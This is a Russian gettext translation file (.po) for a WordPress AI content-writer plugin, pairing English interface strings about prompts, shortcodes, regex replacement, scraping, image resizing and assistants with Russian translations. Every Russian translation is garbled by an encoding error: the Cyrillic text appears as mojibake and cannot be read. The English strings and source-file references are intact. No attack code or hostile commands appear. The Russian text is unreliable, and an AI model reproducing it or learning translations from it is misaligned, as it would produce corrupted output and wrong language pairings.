msgstr "" "Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð Ð°Ð·Ð´ÐµÐ»Ð¾Ð² ПоÑта. Он также будет " "уÑтановлен в качеÑтве заголовка в ПоÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие " "шорткоды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Обновление: " "также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные правилами " "других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, " "определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек " "правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые " "промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-single-list.php:3812 res/aiomatic-youtube-list.php:874 #, php-format #| msgid "" #| "Prompt to be used for the Sections of the article. These will be set also " #| "as headings in the article. You can use the following shortcodes: " #| "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, " #| "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Prompt to be used for the Sections of the article. These will be set also as " "headings in the article. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð Ð°Ð·Ð´ÐµÐ»Ð¾Ð² Статьи. Они также будут " "уÑтановлены в качеÑтве заголовков в Ñтатье. Ð’Ñ‹ можете иÑпользовать Ñледующие " "шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%," " %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, " "Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "пользовательÑкие шорткоды, определенные в функции \"Создатель " "ПользовательÑких Шорткодов\" из наÑтроек правил - Ñто позволит вам Ñоздавать " "чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ " "Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-main.php:6401 msgid "Prompt to prepend to text continuation requests" msgstr "Промпт Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº запроÑам Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶ÐµÐ½Ð¸Ñ Ñ‚ÐµÐºÑта" #: res/aiomatic-spinner-list.php:1304 msgid "Prompt To Send To The AI Content Image Editor:" msgstr "Промпт Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ в Редактор Изображений Контента AI:" #: res/aiomatic-spinner-list.php:1580 msgid "Prompt To Send To The AI Image Editor:" msgstr "Промпт Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ в Редактор Изображений AI:" #: res/aiomatic-spinner-list.php:1420 msgid "Prompt To Send To The AI Image Generator:" msgstr "Промпт Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ в Генератор изображений AI:" #: res/aiomatic-main.php:7037 #, php-format msgid "" "Prompt to use for keyword/keyphrase extraction from the submitted text (so " "the internet search will be more probable to return related results to the " "query sent to the AI). You can use the following shortcode here: " "%%original_prompt%%. The default value for this settings is: Using which " "keyword or phrase should I search the internet, so I get results related to " "the following text? Give me only a single search phrase or keyword, don't " "write anything else. The text is: \"%%original_prompt%%\"?" msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ð¾Ð³Ð¾ Ñлова/ключевой фразы из " "отправленного текÑта (чтобы поиÑк в Интернете Ñ Ð±Ð¾Ð»ÑŒÑˆÐµÐ¹ вероÑтноÑтью " "возвращал результаты, ÑвÑзанные Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñом, отправленным ИИ). ЗдеÑÑŒ вы " "можете иÑпользовать Ñледующий короткий код: %%original_prompt%%. Значение по " "умолчанию Ð´Ð»Ñ Ñтих наÑтроек: ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ°ÐºÐ¾Ðµ ключевое Ñлово или фразу мне " "Ñледует выполнить поиÑк в Интернете, чтобы получить результаты, ÑвÑзанные Ñо " "Ñледующим текÑтом? Дайте мне только одну поиÑковую фразу или ключевое Ñлово, " "больше ничего не пишите. ТекÑÑ‚: \"%%original_prompt%%\"?" #: aiomatic-ajax-actions.php:8036 res/aiomatic-shortcodes.php:229 msgid "Prompt*" msgstr "Промпт*" #: res/aiomatic-amazon-list.php:849 res/aiomatic-amazon-list.php:3374 #: res/aiomatic-review-list.php:843 res/aiomatic-review-list.php:3444 #: res/aiomatic-rules-list.php:788 res/aiomatic-rules-list.php:3531 #: res/aiomatic-single-list.php:854 res/aiomatic-single-list.php:1741 #: res/aiomatic-single-list.php:3729 res/aiomatic-single-list.php:5057 #: res/aiomatic-single-list.php:6348 res/aiomatic-youtube-list.php:791 #: res/aiomatic-youtube-list.php:3268 msgid "Prompts" msgstr "Промпты" #: res/aiomatic-chatbot.php:1386 res/aiomatic-chatbot.php:4206 msgid "Prompts Editable By Users:" msgstr "Промпты, редактируемые пользователÑми:" #: res/aiomatic-spinner-list.php:1234 msgid "Protect HTML Tags in Edited Text:" msgstr "Защитите теги HTML в редактируемом текÑте:" #: aiomatic-automation.php:651 msgid "Provide the post ID for which you want to query the content." msgstr "Укажите ID поÑта, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ вы хотите запроÑить контент." #: aiomatic-automation.php:526 msgid "Provide the text which needs to be spun." msgstr "Укажите текÑÑ‚, который нужно раÑкрутить." #: aiomatic-automation.php:490 msgid "Provide the text which needs to be translated." msgstr "Укажите текÑÑ‚, который необходимо перевеÑти." #: aiomatic-automation.php:580 msgid "Provide the text which will be used to generate the embeddings result." msgstr "" "Укажите текÑÑ‚, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ результата " "вÑтраиваниÑ." #: res/aiomatic-single-list.php:567 res/aiomatic-single-list.php:7353 msgid "Publish Date" msgstr "Дата публикации" #: res/aiomatic-spinner-list.php:1216 msgid "Publish Edited Content Even if the AI Removed Parts of the HTML Text:" msgstr "" "Публикуйте отредактированный Контент, даже еÑли AI удалил чаÑти HTML-текÑта:" #: aiomatic-automatic-ai-content-writer.php:13287 #: aiomatic-automatic-ai-content-writer.php:14170 #: res/aiomatic-amazon-list.php:1927 res/aiomatic-amazon-list.php:4510 #: res/aiomatic-automation-list.php:649 res/aiomatic-automation-list.php:1538 #: res/aiomatic-automation-list.php:3116 res/aiomatic-automation-list.php:4005 #: res/aiomatic-automation-list.php:5869 res/aiomatic-automation-list.php:6762 #: res/aiomatic-csv-list.php:376 res/aiomatic-csv-list.php:1513 #: res/aiomatic-review-list.php:1996 res/aiomatic-review-list.php:4663 #: res/aiomatic-rules-list.php:2125 res/aiomatic-rules-list.php:4899 #: res/aiomatic-single-list.php:543 res/aiomatic-single-list.php:7329 #: res/aiomatic-spinner-list.php:3853 res/aiomatic-spinner-list.php:3922 #: res/aiomatic-youtube-list.php:1898 res/aiomatic-youtube-list.php:4438 msgid "Published" msgstr "Опубликованны" #: res/aiomatic-amazon-list.php:96 res/aiomatic-review-list.php:96 #: res/aiomatic-rules-list.php:96 res/aiomatic-single-list.php:96 #: res/aiomatic-single-list.php:234 res/aiomatic-youtube-list.php:96 msgid "Punjabi" msgstr "Панджаби" #: res/aiomatic-languages.php:96 msgid "Punjabi (Google Translate)" msgstr "Пенджаби (переводчик Google)" #: aiomatic-automatic-ai-content-writer.php:13800 #: aiomatic-automatic-ai-content-writer.php:14586 #: res/aiomatic-automation-list.php:1162 res/aiomatic-automation-list.php:1950 #: res/aiomatic-automation-list.php:3629 res/aiomatic-automation-list.php:4417 #: res/aiomatic-automation-list.php:6382 res/aiomatic-automation-list.php:7178 msgid "Puppeteer (HeadlessBrowserAPI)" msgstr "Puppeteer (HeadlessBrowserAPI)" #: aiomatic-automatic-ai-content-writer.php:13784 #: aiomatic-automatic-ai-content-writer.php:14570 #: res/aiomatic-automation-list.php:1146 res/aiomatic-automation-list.php:1934 #: res/aiomatic-automation-list.php:3613 res/aiomatic-automation-list.php:4401 #: res/aiomatic-automation-list.php:6366 res/aiomatic-automation-list.php:7162 msgid "Puppeteer (needs to be installed on server)" msgstr "Puppeteer (необходимо уÑтановить на Ñервер)" #: res/aiomatic-assistants.php:117 res/aiomatic-training.php:101 #: res/aiomatic-training.php:212 res/aiomatic-training.php:429 msgid "Purpose" msgstr "Цель" #: res/aiomatic-main.php:2138 res/aiomatic-main.php:6537 msgid "Qdrant" msgstr "Qdrant" #: res/aiomatic-main.php:2127 msgid "Qdrant API:" msgstr "Qdrant API:" #: res/aiomatic-main.php:6629 msgid "Qdrant Collection Name (Optional):" msgstr "Ð˜Ð¼Ñ ÐºÐ¾Ð»Ð»ÐµÐºÑ†Ð¸Ð¸ Qdrant (необÑзательно):" #: res/aiomatic-main.php:6605 msgid "Qdrant Index URL:" msgstr "URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ð½Ð´ÐµÐºÑа Qdrant:" #: res/aiomatic-amazon-list.php:130 res/aiomatic-review-list.php:130 #: res/aiomatic-rules-list.php:130 res/aiomatic-single-list.php:130 #: res/aiomatic-single-list.php:268 res/aiomatic-youtube-list.php:130 msgid "Quechua" msgstr "Кечуа" #: res/aiomatic-languages.php:131 msgid "Quechua (Google Translate)" msgstr "Кечуа (Переводчик Google)" #: res/aiomatic-limits-statistics.php:77 res/aiomatic-limits-statistics.php:834 #: res/aiomatic-limits-statistics.php:965 #: res/aiomatic-limits-statistics.php:1101 #: res/aiomatic-limits-statistics.php:1275 #: res/aiomatic-limits-statistics.php:1506 msgid "Queries" msgstr "ЗапроÑов" #: res/StatisticsClass.php:606 res/StatisticsClass.php:719 msgid "queries" msgstr "запроÑ" #: res/aiomatic-amazon-list.php:1983 res/aiomatic-amazon-list.php:4583 #: res/aiomatic-csv-list.php:432 res/aiomatic-csv-list.php:1586 #: res/aiomatic-review-list.php:2052 res/aiomatic-review-list.php:4736 #: res/aiomatic-rules-list.php:2181 res/aiomatic-rules-list.php:4972 #: res/aiomatic-youtube-list.php:1954 res/aiomatic-youtube-list.php:4511 msgid "Quote" msgstr "ЗапроÑ" #: res/aiomatic-shortcodes.php:66 msgid "Radio" msgstr "Radio" #: res/aiomatic-embeddings.php:656 res/aiomatic-rules-list.php:548 #: res/aiomatic-rules-list.php:3406 res/aiomatic-single-list.php:1501 #: res/aiomatic-spinner-list.php:4768 res/aiomatic-youtube-list.php:3139 msgid "Random" msgstr "Ð’ произвольном порÑдке" #: res/aiomatic-single-list.php:3489 res/aiomatic-youtube-list.php:551 msgid "Random (Top/Bottom)" msgstr "Рандомно (Вверху/Внизу)" #: res/aiomatic-amazon-list.php:1620 res/aiomatic-amazon-list.php:4180 msgid "Random Amazon Product Thumbnail" msgstr "Ð Ð°Ð½Ð´Ð¾Ð¼Ð½Ð°Ñ ÐœÐ¸Ð½Ð¸Ð°Ñ‚ÑŽÑ€Ð° Продукта Amazon" #: res/aiomatic-main.php:2663 msgid "Random noise seed (omit this option or use 0 for a random seed)" msgstr "" "Случайное начальное значение шума (опуÑтите Ñтот параметр или иÑпользуйте 0 " "Ð´Ð»Ñ Ñлучайного начального значениÑ)" #: res/aiomatic-main.php:8993 msgid "Random Sentence Generator:" msgstr "Генератор Случайных Предложений:" #: res/aiomatic-main.php:28 msgid "Random Sentences" msgstr "Случайные предложениÑ" #: res/aiomatic-amazon-list.php:1901 res/aiomatic-amazon-list.php:4476 #: res/aiomatic-csv-list.php:350 res/aiomatic-csv-list.php:1479 #: res/aiomatic-review-list.php:1970 res/aiomatic-review-list.php:4629 #: res/aiomatic-rules-list.php:2099 res/aiomatic-rules-list.php:4865 #: res/aiomatic-youtube-list.php:1872 res/aiomatic-youtube-list.php:4404 msgid "Random user" msgstr "Случайный пользователь" #: res/aiomatic-csv-list.php:1397 msgid "Randomize CSV Row Processing Order" msgstr "Случайный порÑдок обработки Ñтрок CSV" #: res/aiomatic-csv-list.php:271 res/aiomatic-single-list.php:1181 msgid "Randomize CSV Row Processing Order:" msgstr "Случайный порÑдок обработки Ñтрок CSV:" #: res/aiomatic-amazon-list.php:3101 msgid "Randomize Product Order" msgstr "Рандомный Заказ Продукта" #: res/aiomatic-amazon-list.php:504 res/aiomatic-single-list.php:4712 msgid "Randomize Product Order:" msgstr "Рандомный Заказ Продукта:" #: res/aiomatic-main.php:2035 msgid "Rate Limit Prevention Delay Between API & Scraping Requests (ms):" msgstr "" "Задержка Ð¿Ñ€ÐµÐ´Ð¾Ñ‚Ð²Ñ€Ð°Ñ‰ÐµÐ½Ð¸Ñ Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ ÑкороÑти между запроÑами API и Скарпинга " "(парÑинга) (мÑ):" #: res/aiomatic-main.php:2024 msgid "Rate Limit Prevention Settings" msgstr "ÐаÑтройки Ð¿Ñ€ÐµÐ´Ð¾Ñ‚Ð²Ñ€Ð°Ñ‰ÐµÐ½Ð¸Ñ Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ ÑкороÑти" #: res/other/plugin-dash.php:15 msgid "Recommended Plugins For You" msgstr "Рекомендуемые Плагины Ð´Ð»Ñ Ð²Ð°Ñ" #: aiomatic-automation.php:973 msgid "Reddit Post Content Template" msgstr "Шаблон Контента ПоÑта Reddit" #: aiomatic-automation.php:966 msgid "Reddit Post Title Template" msgstr "Шаблон Заголовка ПоÑта Reddit" #: aiomatic-automation.php:980 msgid "Reddit Post Type" msgstr "Тип ПоÑта Reddit" #: aiomatic-helpers.php:448 msgid "Redditomatic Post Generator" msgstr "Генератор ПоÑтов Redditomatic" #: res/aiomatic-embeddings.php:75 res/aiomatic-limits-statistics.php:507 #: res/aiomatic-shortcodes.php:127 msgid "Redirecting..." msgstr "Перенаправление..." #: aiomatic-automation.php:1222 msgid "Regex expression" msgstr "РегулÑрное выражение" #: aiomatic-automation.php:1229 msgid "Regex replacement" msgstr "Замена регулÑрных выражений" #: res/aiomatic-main.php:1720 msgid "Register Envato Purchase Code To Enable Automatic Updates:" msgstr "" "ЗарегиÑтрируйте код покупки Envato, чтобы включить автоматичеÑкое обновление:" #: res/aiomatic-main.php:1726 msgid "Register Purchase Code" msgstr "ЗарегиÑтрировать код покупки" #: res/aiomatic-embeddings.php:267 msgid "Reindex Every Post:" msgstr "ПереиндекÑировать Каждый ПоÑÑ‚:" #: res/aiomatic-rules-list.php:4058 msgid "Related Headings AI Generator Prompt" msgstr "СвÑзанные заголовки Промпт Генератора AI" #: res/aiomatic-rules-list.php:1309 res/aiomatic-single-list.php:2748 msgid "Related Headings AI Generator Prompt:" msgstr "СвÑзанные заголовки Промпт Генератора AI:" #: aiomatic-automation.php:603 msgid "Related NLP Entities" msgstr "СвÑзанные NLP Entities" #: res/aiomatic-main.php:6789 res/aiomatic-main.php:7291 msgid "Related Questions Creation" msgstr "Создание ÑвÑзанных вопроÑов" #: res/aiomatic-rules-list.php:428 res/aiomatic-rules-list.php:3255 #: res/aiomatic-single-list.php:1381 msgid "Related SERP Searches" msgstr "СвÑзанные поиÑковые запроÑÑ‹ в поиÑковой выдаче" #: res/aiomatic-main.php:2352 msgid "Related Video Search API Key:" msgstr "Ключ API поиÑка СвÑзанного Видео:" #: aiomatic-helpers.php:1468 res/aiomatic-amazon-list.php:485 #: res/aiomatic-amazon-list.php:3066 res/aiomatic-main.php:8221 #: res/aiomatic-single-list.php:4693 msgid "Relevance" msgstr "РелевантноÑÑ‚ÑŒ" #: res/aiomatic-main.php:8374 res/aiomatic-main.php:8893 msgid "Religion" msgstr "РелигиÑ" #: res/aiomatic-main.php:2085 msgid "Remaining API Calls For Today: " msgstr "ОÑтавшиеÑÑ Ð²Ñ‹Ð·Ð¾Ð²Ñ‹ API на ÑегоднÑ:" #: res/aiomatic-main.php:1861 msgid "Remaining API Tokens: " msgstr "ОÑтавшиеÑÑ Ñ‚Ð¾ÐºÐµÐ½Ñ‹ API:" #: res/aiomatic-logs.php:423 msgid "Remote Get" msgstr "Удаленное Получение" #: res/aiomatic-logs.php:418 msgid "Remote Post" msgstr "Удаленный ПоÑÑ‚" #: res/aiomatic-amazon-list.php:3953 res/aiomatic-csv-list.php:1627 #: res/aiomatic-review-list.php:4106 res/aiomatic-rules-list.php:4354 #: res/aiomatic-youtube-list.php:3864 msgid "Remove WP Default Post Category" msgstr "Удалить WP по умолчанию" #: res/aiomatic-amazon-list.php:1397 res/aiomatic-csv-list.php:465 #: res/aiomatic-review-list.php:1466 res/aiomatic-rules-list.php:1599 #: res/aiomatic-youtube-list.php:1353 msgid "Remove WP Default Post Category:" msgstr "Удалить WP по умолчанию КатегориÑ:" #: aiomatic-automation.php:1227 msgid "Replace Matches From Regex" msgstr "Заменить ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð¸Ð· регулÑрного выражениÑ" #: res/aiomatic-amazon-list.php:4457 res/aiomatic-csv-list.php:1460 #: res/aiomatic-review-list.php:4610 res/aiomatic-rules-list.php:4846 #: res/aiomatic-youtube-list.php:4385 msgid "Replace Matches From Regex (Content)" msgstr "Заменить ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð¸Ð· регулÑрного Ð²Ñ‹Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ (Контент)" #: res/aiomatic-amazon-list.php:1882 res/aiomatic-csv-list.php:331 #: res/aiomatic-review-list.php:1951 res/aiomatic-rules-list.php:2080 #: res/aiomatic-single-list.php:1211 res/aiomatic-single-list.php:2499 #: res/aiomatic-single-list.php:3249 res/aiomatic-single-list.php:4517 #: res/aiomatic-single-list.php:5816 res/aiomatic-single-list.php:7182 #: res/aiomatic-youtube-list.php:1853 msgid "Replace Matches From Regex (Content):" msgstr "Заменить ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð¸Ð· регулÑрного Ð²Ñ‹Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ (Ñодержимое):" #: res/aiomatic-amazon-list.php:3688 res/aiomatic-review-list.php:3842 #: res/aiomatic-rules-list.php:3863 res/aiomatic-youtube-list.php:3600 msgid "Replace Matches From Regex (Prompts)" msgstr "Заменить ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð¸Ð· РегулÑрных Выражений (Промпты)" #: res/aiomatic-amazon-list.php:1144 res/aiomatic-review-list.php:1214 #: res/aiomatic-rules-list.php:1098 res/aiomatic-single-list.php:2051 #: res/aiomatic-single-list.php:4039 res/aiomatic-single-list.php:5352 #: res/aiomatic-single-list.php:6719 res/aiomatic-youtube-list.php:1101 msgid "Replace Matches From Regex (Prompts):" msgstr "Заменить ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð¸Ð· регулÑрного Ð²Ñ‹Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ (Промпты):" #: res/aiomatic-amazon-list.php:3685 res/aiomatic-review-list.php:3839 #: res/aiomatic-rules-list.php:3860 res/aiomatic-youtube-list.php:3597 msgid "" "Replace the above regex matches with this regex expression. If you want to " "strip matched content from prompts, leave this field blank. No Regex " "separators are required here. You can add multiple replacement expressions, " "each on a different line." msgstr "" "Замените приведенные выше ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð ÐµÐ³ÑƒÐ»Ñрных Выражений Ñтим выражением " "РегулÑрных Выражений. ЕÑли вы хотите удалить Ñовпадающий Контент из Промптов," " оÑтавьте Ñто поле пуÑтым. ЗдеÑÑŒ не требуютÑÑ Ð Ð°Ð·Ð´ÐµÐ»Ð¸Ñ‚ÐµÐ»Ð¸ РегулÑрных " "Выражений. Ð’Ñ‹ можете добавить неÑколько выражений замены, каждое в отдельной " "Ñтроке." #: aiomatic-automation.php:1230 res/aiomatic-amazon-list.php:1140 #: res/aiomatic-amazon-list.php:1878 res/aiomatic-amazon-list.php:4454 #: res/aiomatic-csv-list.php:327 res/aiomatic-csv-list.php:1457 #: res/aiomatic-review-list.php:1210 res/aiomatic-review-list.php:1947 #: res/aiomatic-review-list.php:4607 res/aiomatic-rules-list.php:1094 #: res/aiomatic-rules-list.php:2076 res/aiomatic-rules-list.php:4843 #: res/aiomatic-single-list.php:1207 res/aiomatic-single-list.php:2047 #: res/aiomatic-single-list.php:2495 res/aiomatic-single-list.php:3245 #: res/aiomatic-single-list.php:4035 res/aiomatic-single-list.php:4513 #: res/aiomatic-single-list.php:5348 res/aiomatic-single-list.php:5812 #: res/aiomatic-single-list.php:6715 res/aiomatic-single-list.php:7178 #: res/aiomatic-youtube-list.php:1097 res/aiomatic-youtube-list.php:1849 #: res/aiomatic-youtube-list.php:4382 msgid "" "Replace the above regex matches with this regex expression. If you want to " "strip matched content, leave this field blank. No Regex separators are " "required here. You can add multiple replacement expressions, each on a " "different line." msgstr "" "Замените приведенные выше ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð ÐµÐ³ÑƒÐ»Ñрных Выражений Ñтим выражением " "РегулÑрных Выражений. ЕÑли вы хотите удалить ÑоответÑтвующий Контент, " "оÑтавьте Ñто поле пуÑтым. ЗдеÑÑŒ не требуютÑÑ Ð Ð°Ð·Ð´ÐµÐ»Ð¸Ñ‚ÐµÐ»Ð¸ регулÑрных " "выражений. Ð’Ñ‹ можете добавить неÑколько выражений замены, каждое в отдельной " "Ñтроке." #: res/aiomatic-main.php:9214 msgid "Replacement Keyword" msgstr "Сменное ключевое Ñлово" #: res/aiomatic-main.php:5883 msgid "Require Only One Word From The 'Required Words List':" msgstr "Требовать только Одно Слово из «СпиÑка ОбÑзательных Слов»:" #: res/aiomatic-logs.php:440 msgid "Required PHP Extensions" msgstr "Требуемые РаÑÑˆÐ¸Ñ€ÐµÐ½Ð¸Ñ PHP" #: res/aiomatic-automation-list.php:2476 msgid "Required plugin not active. Get It Now!" msgstr "Требуемый плагин не активен. Получи Ñто ÑейчаÑ!" #: aiomatic-ajax-actions.php:7867 res/aiomatic-shortcodes.php:38 msgid "Required*" msgstr "Ðеобходимо*" #: res/aiomatic-main.php:2989 res/aiomatic-main.php:7546 msgid "Resize quality" msgstr "Изменение размера качеÑтва" #: res/aiomatic-main.php:2961 #| msgid "" #| "Resize the AI generated image to the height specified in this text field " #| "(in pixels). If you want to disable this feature, leave this field blank. " #| "This feature will work only if you copy AI generated images locally to " #| "your server." msgid "" "Resize the AI generated image to the height specified in this text field (in " "pixels). If you want to disable this feature, leave this field blank. This " "feature will work only if you copy AI generated images from their original " "sources." msgstr "" "Изменение размера Ñгенерированного AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð¾ выÑоты, указанной в " "Ñтом текÑтовом поле (в пикÑелÑÑ…). ЕÑли вы хотите отключить Ñту функцию, " "оÑтавьте Ñто поле пуÑтым. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ работать только в том Ñлучае, " "еÑли вы копируете Ñгенерированные AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸Ð· их оригинальных " "иÑточников." #: res/aiomatic-main.php:2942 #| msgid "" #| "Resize the AI generated image to the width specified in this text field " #| "(in pixels). If you want to disable this feature, leave this field blank. " #| "This feature will work only if you copy AI generated images locally to " #| "your server." msgid "" "Resize the AI generated image to the width specified in this text field (in " "pixels). If you want to disable this feature, leave this field blank. This " "feature will work only if you copy AI generated images from their original " "sources, locally to your own server." msgstr "" "Изменение размера Ñгенерированного AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð¾ ширины, указанной в " "Ñтом текÑтовом поле (в пикÑелÑÑ…). ЕÑли вы хотите отключить Ñту функцию, " "оÑтавьте Ñто поле пуÑтым. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ работать только в том Ñлучае, " "еÑли вы копируете Ñгенерированные AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸Ð· их оригинальных " "иÑточников локально на Ñвой ÑобÑтвенный Ñервер." #: res/aiomatic-main.php:7518 msgid "" "Resize the image that was assigned to be the featured image to the height " "specified in this text field (in pixels). If you want to disable this " "feature, leave this field blank." msgstr "" "Измените размер изображениÑ, которое было назначено Ð´Ð»Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ð¾Ð³Ð¾ " "изображениÑ, до выÑоты, указанной в Ñтом текÑтовом поле (в пикÑелÑÑ…). ЕÑли " "вы хотите отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым." #: res/aiomatic-main.php:7499 msgid "" "Resize the image that was assigned to be the featured image to the width " "specified in this text field (in pixels). If you want to disable this " "feature, leave this field blank." msgstr "" "Измените размер изображениÑ, которое было назначено Ð´Ð»Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ð¾Ð³Ð¾ " "изображениÑ, до ширины, указанной в Ñтом текÑтовом поле (в пикÑелÑÑ…). ЕÑли " "вы хотите отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым." #: res/aiomatic-chatbot.php:4035 msgid "Response Streaming (Recommended)" msgstr "ÐŸÐ¾Ñ‚Ð¾ÐºÐ¾Ð²Ð°Ñ ÐŸÐµÑ€ÐµÐ´Ð°Ñ‡Ð° Ответов (рекомендуетÑÑ)" #: aiomatic-ajax-actions.php:8106 res/aiomatic-shortcodes.php:298 msgid "Response Streaming*" msgstr "ÐŸÐ¾Ñ‚Ð¾ÐºÐ¾Ð²Ð°Ñ ÐŸÐµÑ€ÐµÐ´Ð°Ñ‡Ð° Ответов*" #: res/aiomatic-assistants.php:267 msgid "Restore Assistants From File" msgstr "ВоÑÑтановить ÐÑÑиÑтентов из файла" #: res/aiomatic-automation-list.php:2077 msgid "Restore OmniBlock Templates From File" msgstr "ВоÑÑтановление шаблонов OmniBlock из файла" #: res/aiomatic-chatbot.php:5587 msgid "Restore Personas From File" msgstr "ВоÑÑтановить перÑоны из файла" #: res/aiomatic-logs.php:560 res/aiomatic-logs.php:570 msgid "Restore Plugin Default Settings" msgstr "ВоÑÑтановить ÐаÑтройки Плагина по умолчанию" #: res/aiomatic-main.php:6999 res/aiomatic-main.php:7020 msgid "Restore To Default" msgstr "ВоÑÑтановить по умолчанию" #: res/aiomatic-training.php:535 msgid "Result files" msgstr "Файлы Результатов" #: res/aiomatic-limits-statistics.php:610 #: res/aiomatic-limits-statistics.php:619 msgid "results" msgstr "результатов" #: res/aiomatic-main.php:8300 res/aiomatic-main.php:8814 msgid "Results Order: " msgstr "ПорÑдок результатов: " #: aiomatic-automation.php:247 aiomatic-automation.php:317 msgid "Results Template" msgstr "Шаблон результатов" #: res/aiomatic-assistants.php:438 res/aiomatic-assistants.php:593 msgid "Retrieval" msgstr "Извлечение" #: res/aiomatic-assistants.php:442 res/aiomatic-assistants.php:597 msgid "" "Retrieval enables the assistant with knowledge from files that you or your " "users upload. Once a file is uploaded, the assistant automatically decides " "when to retrieve content based on user requests. To enable this " "functionality, a newer model is needed, version 1106 or newer." msgstr "" "Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð·Ð²Ð¾Ð»Ñет аÑÑиÑтенту иÑпользовать Ð·Ð½Ð°Ð½Ð¸Ñ Ð¸Ð· файлов, " "которые вы или ваши пользователи загружаете. ПоÑле загрузки файла аÑÑиÑтент " "автоматичеÑки решает, когда получить контент, иÑÑ…Ð¾Ð´Ñ Ð¸Ð· запроÑов " "пользователей. Чтобы включить Ñту функцию, необходима более Ð½Ð¾Ð²Ð°Ñ Ð¼Ð¾Ð´ÐµÐ»ÑŒ, " "верÑÐ¸Ñ 1106 или новее." #: res/aiomatic-training.php:453 msgid "Retrieve Content" msgstr "Получить Контент" #: 